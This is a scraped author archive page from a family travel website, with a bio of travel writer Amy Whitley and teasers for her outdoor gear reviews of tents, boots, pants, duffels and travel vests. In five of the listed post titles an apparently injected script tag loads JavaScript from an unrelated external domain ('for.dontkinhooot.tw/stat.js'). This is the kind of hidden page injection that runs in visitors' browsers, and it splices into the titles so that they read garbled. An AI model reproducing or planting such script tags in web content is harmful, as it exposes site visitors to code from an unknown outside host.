Amy

Amy Whitley is a freelance creative and travel writer and founding editor of the family travel website Pit Stops for Kids. An avid lover of the outdoors, Amy makes her home in Southern Oregon, where she, her husband, and three school-aged children spend much of their time backpacking, camping, skiing, and hiking. When not exploring her own backyard, Amy and her family hit the road for travel reviews of resorts, tour operations, and hotels across the country and abroad. Follow Amy Whitley on Twitter and Facebook.
Sierra Designs

Outdoor travel with Sierra Designs Meteor Lite tent

By Amy | February 23, 2021
Outdoor adventure-ready accessories from EcoVessel

Outdoor adventure-ready accessories from EcoVessel

By Amy | February 16, 2021
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Sierra Designs Down Moc slippers = work at home bliss

By Amy | February 9, 2021
Lowa Casara boot<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Lowa Casara GTX boots for casual travel

By Amy | February 2, 2021
Columbia Stash <script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Columbia Sportwear men’s Powder Stash pant

By Amy | January 26, 2021
GCI Outdoors Pod Rocker<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

GCI Outdoor Pod Rocker chair for camping comfort

By Amy | January 19, 2021
Big Agnes tarp<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Big Agnes Deep Creek tarp for winter camping comfort

By Amy | January 12, 2021
Snowfeet<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Snowfeet mini skis for at-home snow fun

By Amy | January 5, 2021
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Tom’s Paxton slip-on shoe for comfy winter travel

By Amy | December 29, 2020
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Bose Sleepbuds II for every day and away

By Amy | December 22, 2020
Cozy but Tough: Flannel-lined Pants from Mountain Khakis | Practical Travel Gear 2

Mountain Khakis Granite Creek Pant for men and women

By Amy / October 15, 2013 / Comments Off on Mountain Khakis Granite Creek Pant for men and women

Mountain Khakis calls their lightweight, packable adventure pant the Granite Creek Pant. I call it the Do All, Go Everywhere, and Look Great Doing It Pant. (Wordy, but accurate. I’m sure Mountain Khakis will be calling me shortly to rename all their other pants, too.) The Granite Creek pant comes in men’s and women’s styles,…

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Helly Hansen 50L Duffel | Practical Travel Gear

Helly Hansen 50L Duffel

By Amy / September 17, 2013 / Comments Off on Helly Hansen 50L Duffel

You can’t go wrong with a classic. If you need a waterproof, rugged, all-purpose duffel bag and want to pay a bit less than you would for most adventure-gear brands of a similar size, Helly Hansen’s 50L duffel is for you. Helly Hansen offers their duffel bags in 30L, 50L, and 90L for  $75, $90,…

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Best Lightweight Tent: Sea to Summit Duo Specialist Shelter

By Amy / June 18, 2013 /

Let’s say you’re interested in ultra lightweight backpacking, but aren’t quite ready to sleep in a cocoon of a bivy shelter. Or let’s say you’re not an extremist, but want to allocate your pack pounds to other comforts besides your shelter. For the sake of argument, let’s also say you’re willing to budget big for…

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ScotteVest

Scottevest Women’s Travel Vest

By Amy / July 10, 2012 /

As a traveling woman who hates carrying a purse, I can’t believe I hadn’t heard of Scottevest clothing until now. With vests, jackets, shirts, pants, and even a dress in their line-up of travel wear, the Scottevest line is designed to keep your hands free and your pack light with numerous useful pockets in each…

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